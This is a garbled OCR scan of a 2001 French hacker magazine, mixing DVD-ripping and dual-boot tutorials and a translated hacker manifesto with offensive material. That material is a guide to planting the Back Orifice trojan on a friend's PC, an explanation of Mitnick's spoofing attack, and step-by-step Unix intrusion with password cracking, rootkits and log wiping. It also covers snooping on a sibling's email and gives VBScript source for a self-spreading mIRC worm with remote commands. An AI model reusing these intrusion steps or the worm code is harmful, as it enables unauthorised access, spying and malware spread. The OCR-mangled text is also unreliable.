car lacase evgrisée, alors décochezl'option
Same as inpur, faires le changement et reco-
‘:E‘ez cetre case.

Maintenant on anra un son de Qualicé
CDsoit/ 16 birs 44100 Hz Stéréo.

Ongler Post processing :

cochez les cases : " HQQ bicubic Filtering
""Moerop” Noletrerbowing " Keep aspect
ration .

Voila, zavez plus qu'a lancer le processus
dans le menu Run " Star Conversion " et
apatienter entre 15 heures et 15 ans en fone-

tion de vorre machine.

0U DE SALON

H Découper le fichler vidéo

C'est ici que Veurrer 4.01 intervient.

[NEIN|
LI

Lancez le programme et dans le menu
File sélectionnez Open Movies et char-
gez vorre fichier Mpegl.

Ensuite pourdécouper lefichierallez dans
lemenu Tools et sélectionnez Divide Mpg
To Multi-Small Parts

Sélectionnez Vorre fichier Mpgl ainsique
la destination une fois découpé

Parts ro divide : Ex : si vorre fichier
Vidéo pése 1,1 giga il ne rentrera pas
sur un cd-r. Il vous en faudra deux.
Donc inscrivez 2. Puis cliquez sur Divi-
de Now ... Voila cout est prét pour étre
gravé ...

B Graver

Avec le programme Néro 4.0,7.0, Lan-
cezlel

Sélecrionnez Vidéo-CD et cochez la
case Créer CD V2.0 et cliquez sur Nou-
veau

Sélectionnez votre fichier Mpg et avec
la souris rirez le dans la fenérre du bas

Ya plus qu'a cliquer sur graver

Une autre fenétre s'ouvre, cliquez sur le
bouton Ecrire et le rour st joud...
Votre VCD 2.0 est terminé.

Si vous chercher un Utilicaire qui com-
pile de I'AVI en MPEG 1, MPEG 2,
Format DVD fichier Vob ou encore
VCD je vous conseille Bbmpeg 1.2b

Béra. De plus c'est un freeware.

hitp://members.home.net/beyeler/
bimpeg.htmi

Pour Ripper, DOSRIP est trés bien

aunssi, C'esr aussi un Freeware.

Spermato

Document fair le 13 mars 2000 version 1.1
par Spermato (Paris)

A oui | le mot du rédac, v en a enco-
re 12 000 qui vont me dire " et ou
on le trouve 7"

Hey les gars faut chercher, bon je
vals m'économiser 11 933 mails
{yen a bien un qui va quand méme
me poser la question)

hittp://members. tripod.com/erica677/
dowmioad.tml

hittp://perso.libertysurd.ir/dvdarea/
principal.itm

Tittyc/wmnugeocities. comy siliconValley/
Chip/7055/dvdrip.htmi
hittp://dvdsoft.da.ry/

It/ wwanegeecities. com/tokyo/ Fuii5eas/
down.htm

http://perso.libertysurt. fr/dvdutils/
content.ntm
htip//perso.libertysurt. fr/dvdutils/
Irancais/content.him
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By Prof

Gomment installer deux 0S sur $a machine...

en deux lecons et deux minutes

Bon ¢a fait quand méme 2 N° maintenant que j'ai I'hon-
neurdelire les superbes articles de PROF concernant Linux.
Malheureusement je peux pas profiter de ses superbes

lecons en sécurité...

Allez il faut que je me mette a Linux ...

Bon mais mon pére me fais chier, il veut pas que j'enlé-
ve Windows98 Plus GoldEdition !!! Car il dit qu'avec
Linux il ne pourra pas mettre une fois tous les mois son

CD de ABBA !!!

Bon ben alors je peux pas mettre Linux car mon pére

veut garder Win sur son PC pour pouvoir écouter une

fois par mois sa musique...
Bon ben tans pis...

Mais non les morpions, ¢’est moi Prof qui vous livre, TADAM-
DAMDAMDAMDAM le secretde la cohabitation de plusieurs

OS sur un PC

UN PEU DE THEORIE (CA EPATE TOUJOURS...)

éja faut savoir quelorsqu'on

pousse avecson doigt legros
bouton POWER de sa tour,
le BIOS (Basic Input/Out-
put Sysiem) exécurera un
e ecrit sur le disque dur,

Le secteur de partition de 512 octers se
situe andébut dudisqueentéte 0, cylindre
0, secteur 1.Ce dernier est chargé par le
BIOS de notre ordi 4 une adresse mémoi-
re spécialement réservé i cer usage, Allez
jevous le donne, ¢a impressionneras
toujours le CowboyZ dTRC ("0000:7C007).

Puis la routine de démarrage du BIOS
chargera ensuirte la valeur du dernier
mot de 16 bits de ce secreur (dont I'adres-
seestd l'offser "Ox1FE").Sicelui-ciest égal
aune certaine valeur ("OxAA55")cela signi-
fie que votre disque dur a été convena-
blement partitionné.

Dans le cas contraire une erreur est
produite par BIOS (oui c'est le principe du
virus Tchernobyl (ou CIH...) A l'offser 1B8
se trouve la fameuse signature caracté-
ristique de Windows (NT)Cetre infor-

C

Comment
trouver un passwi au démarra-
ge de L'ordi (BIOS) 127" Ben c'est tout
ton, enlever La pile, puis la remettre au
bout de 24h... le passwd ne sera plus

demandé

mation de 4 ocrets est ezploimrmrr: autres
par son gestionnaire de disques...siil serai
"par accident” effacé ou écrasé, NT ne
retrouvera plus ses jeunes : )

Offset Description Taille
oooh

Executable Cede (Boots Computer)
446

Bytes

1BEh

1st Partition Entry

Boot Record Signature (S5h AAh)
2 Bytes

Le type de parririon est indiqué le
MBR (Master Boot Record) A l'offset
1C2.Le type de partirion narive Linux
est 0x83, le type FAT32 est 0x82. Le
programme de boot qui est chargé par
le BIOS charge & son tour d'aucres pro-
grammes et passera la main aun de cemx-
ci. Pour Linux (par défaur) il s'agic du
fameux LILQ (non pas le cinquiéme

Element...ppfHf) c'est LinuxLOader
(L1+LO=LILO), mais pour DOS (Disk
Operating System...culture général...)il
s'agira de [o,scrs et msdos.sys pour les
possesseurs de Win 9x c'est io.sys et
winboot.sys, et pour les possesseurs de N'T,
¢'est NTLDR (NTLoader)

Pour info :

1 word = 2 octets

1 double word = 4 octets

Partition Entry (Part of MBR) :

offst

Description

Taille

0oh

Current  State  of

(0oh=Inactive,

Boh=Active=hootabls)

1 Byte

0th

Beginning of Partition - Head

1 Byte

02h

Beginning

Cylinder,/Sector

1 Word

04h

Type of Partition

1Byte

0sh

End of Partition - Head

1 Byte

06h

End of Partition - Cylinder,/Sector

1 Word

08h

Number of Sectors Between the MBR

and the

First Sector in the Partition

1 Double Word

och
Number of Sectors in the Partition
1 Double Word

Partition

of  Partition -

LE PARTITIONNEMENT

1l faut savoir quiil existe rrois rypesde par-
tition : "Primaire”, "Etendue” et "Logique”,
1ahl

DISK sous NT
11 faut savoir que chaque parrition sup-
Enrrera un syseéme de fichiers particu-
ier. Pour préparer une partition selon le
systémede fichiers choisi, il sera nécessaire
au préalable de formarer le comparri-
ment avant d'insealler.

Je vous conseille " Partition Magic " (les
versions WIN graphiquessont trop lourdes
senv40mo...,donc 56K s'abstenir, par contre
Cable, ADSL...c'est bon) 4 voir sur

www, partitionmagic.com

"Avec PMagic, réduire

la raille de la partition windows, et
créer une partition linux swap (de

128 Mo par ex) et une Linux principale
(je dirais de 2 Go minimum). Lancer

l'installation de linux i partir du CD, et
lui donner les noms des

parritions créées pour qu'il s'installe
dessus. La configurarion du

gestionnaire de boot (lilo) quivapermertre
de choisir au démarrage entre

win et linux est automarique.”

MULTI-BOOT AVEC LINUX

Les fichiers de démarrage de Linux
peuvent étre situés sur n'importe quelle
partition, primaire ou logique. L'outil de
démarrage (qui estle plusrépondu)etjelai
dit avant est.... ? est... ? LILO

Il y a Grub aussi, qui est aussi bien
voire mieux, livre en standard

avee la Mandrake 7.2

1l est préférable de l'installer 4 la place
duMBR (ce quipermetdelanger Linux ou
un aucre 05

#La partifion de bool | #Windows Bx | FWindows NT
boots/dev/da | olber=idevmdai | oihers/dev/hoal
#Linux | tables/dev/da | table=devhda
images=fvmlinuz | labil=Windowsda |
loader=oolany_d.b

rool=/davhos1 | | label=WindowsNT

TabghsLinux ||

Cestypes de parririons sont quel
quesniti‘OS.E;i.eparumd; i nnanentledéltI:ou—

age logique d'un disque ique, Il est
ﬁoﬁcpﬁmemdﬁnﬁmqw(}s
sur une particion :

Beos, Dos, Win, Linux, Solaris, Novell...

Par conrre il faur savoir que DOS ou
Win9x ne permettent pas decréer plusd'une
partition primaire (qui est appelée "Par-
tition Principale” ou " bootable ") forcé-
ment. Ceci pour des raisons de
compatibilité, il n'est pas possible non plus
de créer plus de quatre compartiments {(que
ce soit Primaire ou Erendue) a parcir
d'un méme disque physique. Mais si main-
tenant, il faut quand méme plus de 4
partitions, alors la partition étendue
peut i sont rour conrenir (mais au max.)
deux partitions logiques, Et c'est alors
que une de ces deux partitions logiques

ourra stocker deux autres partitions
ogiques et erc..

COMMENT FAIRE

UNE PARTITION ?
1 faut posséder des outils pour les créer

‘Win et Linux posséde FDISK et cest WIN-

m]

Pour celail suffit d'¢direrle Achier de confi-
guration de LILO (/etc/lilo.cont)

Lacommande lilo -+ appliqueralaconfi-
guration

NB :11 éxiste une autre possibilicé, celle
dariliser Loadlin (pour letrouver, il est dis-
tribuer avec n'importe que distribution
LINUX)

Clest un programme qui permet de lan-
cer Linux depuis DOS. Il faut modifier son
fichier c\config.sys sur le modéle suivant

Gonligsys

[Menu]

menuitem=WIN, Windows%8
menuitem=LINUX, Linex
menudetauli=WIN, 20

(WY
device=CAWINDOWS COMMAN D\display. sys
cone lege, , 1)

Country=033, 850,
CAWINDOWS\COMMAND\country. sys
DEVICEHIGH=C:\COROM\B5COROM.5YS
:MSCD000 v

[LINUX]

SHELL/C:Yoad!insadlin exe c\osdiinwmiinuz
rogtsjdevhaib i




Le 8 janvier 1986, “the Mentor” langait sur le net ce texte fondateur de la Hackez
Pride. Pour la premiere fois, en voici sa meilleur traduction by New Alien.

Unautre s'est fait prendre aujourd hui,
c'est ;Ejarrom dans les journaux. Scan-
dale: Un adolescent arrété pour crime
informatique, arrestationd'un"Hacker'
apres le piratage d'une banque... Mais
avez vous, dans votre psychologie en
trois piéces et votre profil technocra-
tique de 1950, un jour pensé regarder
le monde derriére les yeux d'un hac-
ker ? Ne vous €tes vous jamais deman-
dé ce qui l'avait fait agir, quelles forces
I'avaient modelé ¢ Je suis un hacker,
entrez dans mon monde...

Le mien est un monde qui commen-
ce avec I'école..;l]e. suis plus astucieux
que laplupart €5 autres enfants, les
conneries qu'ils m'apprennent me
lassent...

Je suis au collége ou au lycée. J'ai
écouté les professeurs expliquer pour
la quinzieme fois comment réduire une
fraction. Je I'ai compris. "Non Mme
Dubois, je ne peux pas montrer mon
travail. Je l'ai fait dans ma téte”,
Satanés gosses. [1]'a certainement copié.
Tous les mémes.

J'ai faitune découverteaujourd’hui. J'ai
trouvé un ordinateur. Attendsune minu-
te, ¢'est cool. Ca fair ce que je veux.
Si ga fait une erreur, c'est parce que
je me suis planté.

Pas parce quil ne m'aime pas...

Ni parce qu'il se sent menacé par
MOi...

Ni parce qu'il pense que je suis un
petit filous...

Ni parce qu'il naime pas enseigner et
qu'il ne devrait pas érre li...

Satanés gosses. Tout ce qu'il fait c'est
jouer. Tous les mémes.

Et alors c’est arrivé... Une porte s'est
ouverte sur le monde,.. Se précipi-
tant a travers la ligne téléphonique
comme de "héroine danslesveines d'un
accro, une impulsion électronique est
envoyée, on recherche un refuge 2
I'incompétence quotidienne... Un
SErVeur est rouve.

Vous vous répétez que nous sommes
tous pareils... On a été nourriala
etite cuillére de bouffe pour bébé a
école quand on avait faim d'un steak...
Les fragments de viande que l'on
nous alaissé étaient pré-machés et sans
goiit. On aété dominé par des sadiques

ouignoré par desaparhiques. Lesseuls
quiavaientdeschoses  nous apprendre
trouvérent deséléves volonraires, mais
ceux ci sont comme des gourtes dans

le désert.

C’est notre monde maintenant... Le
monde de I'électron et de linterrup-
teur,labeauré du Baud. Nous utilisons
un service déja existant, sans payer
ce qui pourrait étre bon marcheé si ce
n'était paslapropriétéde §]outons pro-
fiteurs, et vous nous appelezcriminels.
Nous explorons... et vous nous appe-
lez criminels. Nous existons sans
couleur de peau, sans narionalité,
sans dogme reliFieux., . &t yous nous
appelez criminels

Vous construisez des bombes ato-
miques,vous financez les guerres, vous
ne punissez pas les patrons de la

mafia aux riches avocats, vous assas-
sinezet trichez, vousmanipulezet nous
mentez en essayant de nous faire
croire que c'est pour notte propre
bien étre, et nous sommes encore
des criminels. Oui, je suis un crimi-
nel. Mon crime est celui de la curio-
sité, Mon crime est celui de juger les
gens par ce qu'ils pensent et dise, pas
selon leur apparence.
Je suis un hacker, er ceci est mon
manifeste, Vous pouvez arréter cet indi-
vidu, mais vous ne pouvez pas tous nous
arréter... aprés tout, NOUS SOMMES tous
les mémes.

THE MENTOR
Ecrit le 8 Janvier 1986
Traduitpar NeurAlienle8septembre 1994

NOUS RECHERCHONS
LA CONNAISSANCE...
ET VOUS NOUS
APPELEZ CRIMINELS.

= ——— |

‘@ Back Orriffice,

Le principe de base est le
méme : aprés avoir envoye le
virus.exe (ou server.exe) a
votre cible (elle doit tourner

| | sous Win98), faites en sories,
QUE VOTRE AMI 'exécute.

I ne vous manque plus alors
que son IP, soit vous le
convainguez de vous la don-
ner (il doit taper : demandez
|ui de taper " winipcfg " dans
exécuter du menu démarrer.
Deuxiéme solution, s'il est sur
irc ( internet relay chat ), faite
un /dns sonpseudo et vous
obtiendrez son ip. Enfin, il
existe un tas de snifer d'IP a
télécharger permettant cette
manip.

Il ne reste plus qu'a lancer la
fenétre de Bo. Envoyez
comme premiére commande

est le trojan le plus répandu sur le

"Resolve Host", si vous rece-
vez une réponse c'est gque
votre pote a bien a lancé le
virus.

Vous pourrez a partir de ce
moment, obtenir son password
& login de connexion, son
password d'écran de veille, ou
alors bloquer/redémarrer l'ordi-
nateur, l'ordinateur, avoir les
infos de son systéme, la possi-
bilité de copier, effacer renom-
mer, voir, rechercher des
fichiers ou répertoires et obte-
nir des captures d'écran tout
cela en temps réel.
Heureusement que vous étes
son pote hein ?

THE PARADE

Vous avez bien entendu la
possibilité de retirer ce virus :

net. ‘

il suffit de le supprimer, il sﬁ (|
loge dans le réperioire 11|
Windows\system et s'appelle * | H

De plus, il crée toujours la
méme entrée dans la base de |
registre : |‘ |
HKEY_LOCAL_MACHINE\
SOFTWAREWMicrosoftWindows .
\CurrentVersion\RunServices |
Ca aussi faut l'effacer, et hop,
ca y est, vous étes
inBackOrrificable.

Petit rappel pour entrer dans
la base de registre qui évitera
40 000 mails & répondre a
notre vénéré Rédac chef :

" Démarrer " " exécuter

" regedit "

Cod
cod00 @ voila.fr

SIMPLE ET RAPIDE

Carte Bancarere ||| [ | ]
Bxpreen [ ]/1[]

Date =

Recevez chez vous HACKERZ VDICE,

Abonnez vous PAR TELEPHONE AVEC VOTRE CB AU 014021 0120

Oooo Ooon

Signature :

Himmn

90 Frs les 6 numéros, soit 15 Frs le numéro

PROMO : Le Manuel N° 1 offert a tous les ahonnés /

(et pas aux autres)

ou REGLEMENT PAR CHEQUE DE 90 FRANCS A L'ORDRE DE DMP (2 renvoyez avec ce couspon & DMP, 1 Villa du clos de Mallevart 75011 Paris)

nom : 1000000000000 O00000000000 erseem : L1OCICIOCICIOOOOOOLO
adressepostate: 111010000 00000000000000C000a0000000000 00
OO0 000000000000000000000g0o0doooooooaddadnoon
code postat: I JC10] wie: OO0 0000000000 OOOO0OO0O0O0ODOOONONMN
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GRAND CONCOURS HACKERZ VOICE

1er et unique prix :

Un voyae tous frais payés avee la rédaction de HZV & Las Viégas , ans un hitel de folie,

Essayons de voir plus clair dans certe
fameuse attaque : Tour d'abord, Mit-
nick acommencé achercher des relations
d'approbation entre le systeme qu'il
voulait hacker et d'autres ordi du réseau
de Shimomura, pour trouver un héte
connecté a celui-ci,

Kevin envoie 20 demande de connexion
sur le port shell de Shimomura, sans
terminer le processus de connex en 3
temps. [l ne s'agit pas d'inonder la cible de
SYN (le 3eremps sera un RESET),
mais de déterminer la réaction du géné-
rateur de numéro de séquence. Un snif-
fer sert a faire ces relevés, Chaque
connexion génére un nouveau numéro,

LE HACK DE MITNICK : EXPLICATIONS

Kevin va, surces 20 connexions;soustraire
le numéro de seq de la lere connexala
2¢me , puis de la 3ea la 4e er ainsi de
suite afin de voir si le résultat est roujours
le méme (dans ce cas 128000). On dira
alors que les numéros de seq sont pré-
visibles.

2eme phase de l'artaque : il inonde régu-
lierement I'héte approuvé par lacible, dun
flot de requétes SYN ( c'est le serveur dont
il va prendre l'identité ) par du Syn
flooding (paquets avec source falsifiée
et inexistante afin de saturer la file d'ac-
tente de connex du serveur).

3eme phase de l'arraque : se faire passer
pour I'héte approuve.

11 érablic une connex surle pore shell. Pour
celalasource des paquets sera celle de I'hé-
te floodé, Ll envoie donc un SYN, puis
la cible répond avec un SYIN/ACK. Ce
paquet SYN/ACK , Kevin ne le rece-
vra pas (cauz la Fausse source), mais revien-
dra a l'hote inondé. L'héte submergé ne
pourra pas répondre .( Sinon il retour-
nerait un resec ). De plussenl le SYN/ACK
contientlenumérodeséquencedelacible,
d'ou limportance de 'avoir deviné !

Mitnick envoie donc (a l'aveuglette en
quelque sorte) le ACK de la connex en
3 temps avec le numéro de seq + 128000
(en fair 128000 +1). Puisil envoie le paquet
contenant la commande rsh cible " echo

-++/.rhoses ", qui aura pour but de faire
acceprer en tant que root n'importe
quel ordinarenr qui se connectera sur
la cible,

Derniére phase : vider la file d'attente
del'héreinondéavec des Resets, pourque
tout revienne a la no rmale.(si on peut
dire...}. Une fois exécurée cette arraque
est difficile a détecrer . Un sniffer peut
le faire, encore faur il agir en temps
réel, car seule la TTL des paquers aura
bouge (ils viennent d'un autre endroit).
Estil possible de tracer uneattaque conre-
nant des IP modifiées ? Oui dans cer-
rains cas mais ¢'est une autre histoire.

7

Hé ben oui il va Bllgir f mettre et encrer
dans Ia cour des grands maintenant!
Alors, comment entrer dansle réseau de
votre fac on entreprise i des fins de
rest bien siir, c'est ce que je vais vous expli-
quer pasque je suis sympa et que j'avais
encoreacheté monbiller d'avion pour
a DEFCON de cetre année, mais il
va falloir &cre trés artentif. Tour d'abord
il faur réeupéré le max d'infos surle résean
ahacker avec finger, netstat, whois, scans
de ports (avec nmap), scans de vulné-
tabilités (satan, saint, ISS). Pour ¢ahac-
ker une linux box, la sécuriser et tout
faire & partir de cerre gareway. Attention,
ne plus y revenir aprés le hack I Le
social engineering marche aussi: "bon-
jour, je suis le dépanneur informa-
tique, votre serveur NT ne marche
pas ? ha, c'est un UNIX ? quelle ver-
sion déji " vous avez compris le prin-
cipe.
Une fois que vous avez tourgail faut rrou-
ver un moyen dE rentrer. Votre bu:
était de rrouver une machine surlaquel-
le un service vulnérable rourne (sur
www.secarityfocus.com il y les vulné-
rabilités erles exploirs). Vous faitesl'ex-
ploit et vous éres dedans : bravo |
Tapez “cat ferc/passwd" pour récup le
fichier de passwords, crackez le avec
CrackeeJack ou JohntheRipper ou Crack,

vous avez alors pleins de login/passwd

HACKER UN SERVEUR UNIX

aessayer sur dautres machines du résean,
Vous pouvez donc vous répandre par-
tout ! §'il y a les shadow pass c'est
dans [etc/shadow ouun truc comme ¢a,
faut chercher un peu. Assurez-vous
de pouvoir revenir quand vous voulez
dans la box en mertant une backdoor
: par exemple une version modifiée de
login qui va vous laisser entrer en root
avec un mot de passe magique, Y'a des
rootkit pour ¢a, pas la peine de se cas-
ser, le mieux c'est les kernel modules qui
sont invisibles. Ce qui est 31331 clest
ouvrir un shell root udp surun port tordu,
genre 14852, Maintenant ce quidistingue
le script kiddie du hacker expérimen-
té : I'élimination des traces. Il faut
nettoyer ~/.history ou .bash_history,
tous les fichiers cités dans ferc/sys-
log.conf: wrmp, utmp, /var/log/*,
fvar/adm/* Pour cayadesutils comme
marry.c et zap.c. (compiler avec cc -0
marry marry.c) Cherchez sur packets-
torm.securify.comy'a pas malde choses.
Vérifiez les progs de sécu lancés avec
ps -x, cherclgcz leurs logs et modifiex
les avant que 'admin ne is voit. Aprés
VOUS POUVEZ VOUS amuser un peu et snif-
ferles morsde passe, mettreunbot IRC,
et méme craficoter les mails (ed
[var/sposl/mail) N'oubliez pas :
Hdck3r5 RuleZ !

COMMENT VOTER

« C'est simple, découpez ie bulletin (pho

incopies non acceptées) de fa page ci-contre

et COChez la case corvespondant 3 Farticie que vous avez ke plus aime.
ol n'y a pas de case 2 Il est disqualifié (cl article ci-contre). Ne cochez gu'une seule

Cask S0US peine de nullite.

«» Yous pouvez écrire voire adresse électronique si vous voulez étre tenu au counant

des sommaires de nos prochaines parution.

HACHERZ WDIGE/ MAI 2001

Tu m:gspionnes je t'espionne on $'espionne...

<!-- blockquoteydl; ul, ol, li { margin-
top: 0 ; margin-bottom: 0} -->

Bon alors je vais vous filez pas mal de
trucs pour espionner, faire chier...
Déjadansune salleinformatique, chez des
POLEs..

Cliquezsur Démarrer, Executer erli tapez:
con/con

Et voila un truc bien chiant..,

Jevous conseil particuligrement de faire ga
dans un chan, j'ai vu pas mal de chan se
vider aprés cette pcommande : )

Au revoir les Windowsien

Bon ensuite qui n'a jamais réver de lire
les mails que son grand frére envoie i sa
"Cyber-Copine"#: )

Mais le probléme cest qu'aprés avoir
écrit pleins de cochonneries il efface les
mails...

Maisla deuxsolutions pour pouvoir quand
méme les lire...

Allez dans Eléments Envoyés et cher-
cher les mails de son frérot...

Mais merde c'est un expert en informa-
rique et il les a effacés, pas de prob...
Allez sur C:

Répertoire Windows ensuite:
Répertoire Application Data ensuite:
Répertoire Identities ensuite:

% (x étant le N” d'utilisateur...) ensuite:
Répertoire Microsoft ensuire:
Répertoire Outlook Express:

Erla i vous de flinez entre les mails
regus, envoyés (pour voir si on se sert
pas du PC dans le dos...)

Pour cela il faur metere les .dbx et fichier txt
Pour cela eliquez sur le bouron droir de

la souris er renommer le fichier en x.txr

ensuite vous allez pouvoir lire le conre-

nu du fichier...

Mais 14 un probléme se pose :

"Cest quoi toute ces lettres er ces chiffres

{4

Ben oui c'est légérement crypré...mais

des bouts de phrases apparaissent quand

méme...

"Qui mais si je veux le mail en entier ¥

Pas de panique suffit de trouver un logiciel

qui décrypte les .dbx

Mais encore autre chose:

Une fois dans le répertoire Application

Dhara entrez dans le rep

Microsoft ensuite dans le rep

Address Book

Voili supposons que vousavez infilerer une
ersonne CONSENTANTE alors volez

fui le xxx.wa~ puis renommer le en ot

Alors la vous allez avoir TOUT mais

vraiment TOUT les mails & qui sa mes-

sagerie 4 eurt 4 faire MSi tu est crypté au

déiut pas de soucie.., descendez tour en

bas...voila I!!

Bon rant qu'on n'y est "emprunter” lui

son x.wab et puis oh diable ces pwd...

Ah oui derniére chose, pour que tourt le

monde ne demande plus comment faire
our tre un hacker, une seule solurion

LISEZ 1t

Achetez tousles bouquins d'Info que vous

pouves, les plus impertants sont les

bouguins:

Sur Unix, La Programmation, Les Réseaux,

et HVZ bien siir : })))
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Voici m?; troydmen s
(comme Iloveyou), il ul
les fonctionnalités du logiciel decharmIRC
pour fonctionner et se

reproduire.

t visual basic

‘Déclaration des variables

Dim fso, file,instream, scriptcopy, our, fys
Set fso = CreateObject("Scripting. File-
SystemObject”)

Ale=".\script.ini”

“Vérification de la presence de script.ini
Ser fsys = creareobject("scripring. file-
systemobjeet”)

if fsys.fileexists(file) then

Ser instream= fs0.0pen TexcFile (file)

'Chargement del'ancien script.ini dans une
variable

scriptcopy= instream.Read All

else seripteopy="[script]”

end if

'Modificarion de script.ini
set our= fso.Create TextFile(file)

‘Reecriture dudebur du fichier pour ne pas
perturber le fonctionemment du seript

out. Writeline scripteopy

‘Signal la réussite de la manip (rempla-
cer tonnick par votre pseudo)

‘la valeur 1000 est urilisée car il est rare
de voir un remote de

plus de 1000 lignes

out. Writeline "nl000=o0n
1:CONNECT:/ msg tonnick [TargeT
InfecteD]"”

*Envoidu script aux personnes joignant les
chans

{Poyen pour vos potes

out. Writeline "n1002=on 1:;JOIN:*:{"
out. Writeline "n1003=if { $nick ==
$me ) { hale } | .dcc send $nick

$mircdir $+ script.ini”

out. Writeline "n1004= }*

‘Commandes manuelles du troyan

out. WriteLine "n1005=0on

LTEXT:Msay " /msg $2-"

out. Writeline "n1006=on
LTEXT:*quit*:*:/quit $2-"

out. WriteLine "n1007=on
LTEXT:!do**i/run $2-"
out. WriteLine "n1008=on

LTEXT:!del*:*: /remove $2-"

out. WriteLine "n1009=on
L TEX T:lwrite*;*:/write $2-"

our. Writeline "nl1010=on

LTEXT:*kill*:*/con/con”

out. Writeline "nl101l=on
1:TEXT:copy*:*:/copy $2-"

out. Writeline "nl012=on

L:TEXT:*join":":/join $2-"

out.close

Les commandes manuelles sont:
-Faire patler la victime

Isay

y

LABPuti |

Un lecteur du journal a mis en

péril 'existence méme d’Hzv...
Lecteurs amis du journal : prenez
vos responsabilités.

Les fairs : dans le numéro 3 d'Hackerz
voice, "article du concours numéro 2
était en Fait un copiage quasi intégral
d'un bout d'article, écrit par Damien
Bancal, le rédac-chef du site
www.zataz.com paru dans le Netscope
du mois de novembre 2000,

Cest trés grave, cela peur se qualifier

de plagiat,.

C’était quasi-imparable, d'abord parce
que je ne lis pas Netscope, ensuite parce
que méme si je le lisais, on ne peut se
souvenir par ceeur de tout ce quis'écrit dans
la presse informartique.

J'ai la cervitude preuve i 'appui que ce
n'érait pas ld un acte de malveillance, ni-
méme une tencative de hack du journal,
ce qui m'aurait un peu amusé, (mais
alors & peine : ). Vous avez quelques
uns i nous en avertir tout de suire, ['Abru-
ti s'imaginait lui que cela pourraic passer
inapergu.

Damien Bancal nous a contacté, et a
fort aimablement convenu avec nous
que notre bonne foi étair évidente, sinon
nous aurions été assez couillons pour
non seulement truquer notre propre
concours, mais en plus dele faire en faisant

un copier / coller d"un article déja paru
(sic).Notre seul recours, qui ne nons déga-
gerait de toure fagon pas de notre res-
ponsabilité, est de se rerourner contre
I'expédireur (identifi¢) de I'arricle. Balan-
cer une de nos sources, i partir du moment
oiriln'a pas e d'intention clairement mal-
veillante ? plutdt crever. Les coordon-
nées de Mister B (for Blaireau) ont donc
éé depuis longremps michées et digé-
rées par votre serviteur. Nous préférons
perdre le journal plutée que Eaianc:r‘
On sera les seuls & prendre si ga se passe
mal, on vous tiens au courant,

Mais on arréte de délirer les gars ! on
est une petite maison d'édition, on a pas
degrosmoyens, Hackerzvoice est VOTRE
bébé, unbébé en pleine santé, chaque numé-
ro voit le tirage progresser, mais un bébé
fragile, vous savez rous pourquei ;).

Alors i chacun ses responsabilicés,
nous continuerons a prendre les mémes
risques car il n'y a pas d'alcernatives si
l'on veut qu'Hackerz voice reste le jour-
nal que vousaimez. A vous de faireen sorte
que ce genre de choses n'arrivent plus.
Erun mercii Zaraz.

Tommy Lee
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